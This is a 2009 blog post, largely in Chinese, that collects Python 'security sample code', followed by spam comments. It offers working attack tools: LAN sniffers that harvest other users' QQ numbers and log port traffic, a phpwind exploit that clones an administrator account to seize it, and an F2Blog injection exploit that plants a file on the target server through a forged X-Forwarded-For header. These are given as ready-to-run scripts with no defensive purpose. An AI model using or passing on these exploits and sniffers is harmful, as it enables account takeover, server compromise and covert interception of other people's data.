«
»

Python security sample code

1、数据嗅探，这个例子，是嗅探土豆网上的flash真正的播放地址。

import pcap ,struct , re
from pickle import dump,load
pack=pcap.pcap()
pack.setfilter('tcp port 80')
regx=r'/[\w+|/]+.flv|/[\w+|/]+.swf'
urls=[]
hosts=[]
print 'start capture....'
for recv_time,recv_data in pack:
    urls=re.findall(regx,recv_data);
    if(len(urls)!=0):print urls;

2、嗅探qq号码，用它嗅探局域网里所有的qq那。可惜没有识别性别的功能。不过可以自己添加

# -*- coding: cp936 -*-
import pcap ,struct
pack=pcap.pcap()
pack.setfilter('udp')
key=''
for recv_time,recv_data in pack:
   recv_len=len(recv_data)
   if recv_len == 102 and recv_data[42]== chr(02) and recv_data[101]
== chr(03):
      print struct.unpack('>I',recv_data[49:53])[0]
   elif recv_len == 55:
      print struct.unpack('>I',recv_data[49:53])[0]

or

# -*- coding: cp936 -*-
import pcap ,struct

pack=pcap.pcap()
pack.setfilter('udp')
key=''
for recv_time,recv_data in pack:
   recv_len=len(recv_data)
   if recv_len == 102 and recv_data[42]== chr(02) and recv_data[101] == chr(03):
      print struct.unpack('>I',recv_data[49:53])[0]
      print '登陆了'
   elif recv_len == 55:
      print struct.unpack('>I',recv_data[49:53])[0]
      print '登陆了'

3、数据嗅探，项目中遇到，需要嗅探一些发送到特定端口的数据

import pcap ,struct
from pickle import dump,load
pack=pcap.pcap()
pack.setfilter('port 2425')
f=open(r'/mm.txt','w+')
print 'start capture....'
for recv_time,recv_data in pack:
    print recv_time
    print recv_data
    f.write(recv_data)

3、文件内容搜索，发现windows的自带的搜索无法搜索内容。即使搜索到也不准。

import os,string,re,sys

class SevenFile:
    files=[]
    def FindContent(self,path):
        print 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
        walks=os.walk(path)
        for walk in walks:
            for filename in walk[2]:
                if('.mht' == filename[-4:]):
                    res_taskid=[]
                    file=walk[0]+'\'+filename
                    f=open(file)
                    content=f.read()
                    pattern_taskid=re.compile(r'Stonehenge-UIVerificationChecklist\.mht',re.IGNORECASE) #
                    res_taskid=pattern_taskid.findall(content)
                    f.close()
                    if len(res_taskid)>0:
                        self.files.append(file)

def run():
    f=SevenFile()
    f.FindContent(r"E:\work\AP\Manual Tests\PSIGTestProject\PSIGTestProject")
    for filepath in f.files:
        print filepath  
    print "OK"

if __name__=="__main__":
    run()

4、一个网上的攻击phpwind论坛的一个代码

# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)

def usage():
print "Usage:\n"
print " $ ./phpwind.py pwforumurl usertoattack\n"
print " pwforumurl 目标论坛地址如http://www.80sec.com/"
print " usertoattack 目标拥有权限的斑竹或管理员"
print " 攻击结果将会在目标论坛注册一个和目标用户一样的帐户"
print " 最新版本可以使用uid登陆"
print " 其他版本可以使用cookie+useragent登陆"
print "########################################################"
print ""

argvs=sys.argv
usage()

data = "regname=%s
%s1&regpwd=@80sec&regpwdrepeat=@80sec&regemail=...@foo.com&regemailtoall=1&step=2"
% (argvs[2],"%c1")
pwurl = "%s/register.php" % argvs[1]

request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-
urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
cookie=headers["set-cookie"]
try:
if cookie.index('winduser'):
print "Exploit Success!"
print "Login with uid password @80sec or Cookie:"
print cookie
print "User-agent: 80sec owned this"
except:
print "Error! http://www.80sec.com"
print "Connect root#80sec.com"

5、黑客注入攻击，针对指定网站的注入演示

#!c:\python24\pyton
# Exploit For F2Blog All Version
# Author BY MSN:pt...@vip.sina.com
# Date: Jan 29 2007

import sys
import httplib
from urlparse import urlparse
from time import sleep

def injection(realurl,path,evil): #url,/bk/,evilip
   cmd=""
   cookie=""
   header={'Accept':'*/*','Accept-Language':'zh-
cn','Referer':'http://'+realurl[1]+path+'index.php','Content-
Type':'application/x-www-form-urlencoded','User-
Agent':useragent,'Host':realurl[1],'Content-length':len(cmd),
         'Connection':'Keep-Alive','X-Forwarded-
For':evil,'Cookie':cookie}
   #cmd =
"formhash=6a49b97f&referer=discuz.php&loginmode=&styleid=&cookietime=2592000&loginfield=username&username=test&password=123456789&questionid=0&answer=&loginsubmit=
%E6%8F%90+%C2%A0+%E4%BA%A4"
   #print header
   #print path
   #sys.exit(1)
   http = httplib.HTTPConnection(realurl[1])
   http.request("POST",path+"index.php",cmd, header)
   sleep(1)
   http1 = httplib.HTTPConnection(realurl[1])
   http1.request("GET",path+"cache/test11.php")
   response = http1.getresponse()
   re1 = response.read()
   #print re1
   print re1.find('test')
   if re1.find('test') ==0:
     print 'Expoilt Success!\n'
     print 'View Your shell:\t%s' %shell
     sys.exit(1);

   else:
     sys.stdout.write("Expoilt FALSE!")
     http.close()
     #sleep(1)
     #break
     sys.stdout.write("\n")

def main ():
print 'Exploit For F2Blog All Version'
print 'Codz by pt...@vip.sina.com\n'
if len(sys.argv) == 2:
   url = urlparse(sys.argv[1])
   if url[2:-1] != '/':
       u = url[2] + '/'
   else:
       u = url[2] #u=/bk/
else:
   print "Usage: %s  " % sys.argv[0]
   print "Example: %s http://127.0.0.1/bk" % sys.argv[0]
   sys.exit(0)

print '[+] Connect %s' % url[1]
print '[+] Trying...'
print '[+] Plz wait a long long time...'
global shell,useragent
shell="http://"+url[1]+u+"cache/test11.php"
query ='fputs(fopen(\'cache/test11.php\',\'w+\'),\'test\')'
query ='\'));'+query+';/*'
evilip=query
useragent=""
cookie=""
injection(url,u,evilip)
evilip=""
injection(url,u,evilip)

print '[+] Finished'

if __name__ == '__main__': main()

python注入工具（sqlmap），支持现在基本上所有的数据库。 MySQL, Oracle, PostgreSQL and Microsoft SQL

from 软件测试论坛 by sihanjishu

This entry was posted on Thursday, October 15th, 2009 at 2:08 am and is filed under python. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

8 Responses to “Python security sample code”

  1. Hide Http Referrer says:
    October 15, 2009 at 11:13 am

    Applicants without code samples will not be considered. Hide Http Referrer

  2. GrandPiano says:
    November 17, 2009 at 8:47 pm

    GrandPiano…

    Thanks heaps for this!… if anyone else has anything, it would be much appreciated. Great website HOT Pianoforte Links http://www.en.Grand-Pianos.org Enjoy!…

  3. gqjqdzkw says:
    January 3, 2010 at 4:26 am

    IBsrcg blozdfgoddga, [url=http://vfkisyonxkut.com/]vfkisyonxkut[/url], [link=http://gfbuwsuklsab.com/]gfbuwsuklsab[/link], http://kvwxahixatrp.com/

  4. Nicholle Pankau says:
    January 6, 2010 at 11:13 am

    This is one of the best posts I’ve seen on this topic

  5. Robert says:
    January 21, 2010 at 4:11 am

    Hey, this is my first visit to your blog… We are a group of volunteers and starting a new initiative in a community in the same niche. Your blog provided us valuable information to work on. good job

  6. Tyson F. Gautreaux says:
    January 31, 2010 at 4:22 pm

    Great Post. Can you email me back, please. Awaiting your Answer.

  7. nddoymtr says:
    March 23, 2010 at 9:54 am

    nddoymtr…

    nddoymtr…

  8. qeaotozb says:
    March 23, 2010 at 3:21 pm

    qeaotozb…

    qeaotozb…

Leave a Reply

You must be logged in to post a comment.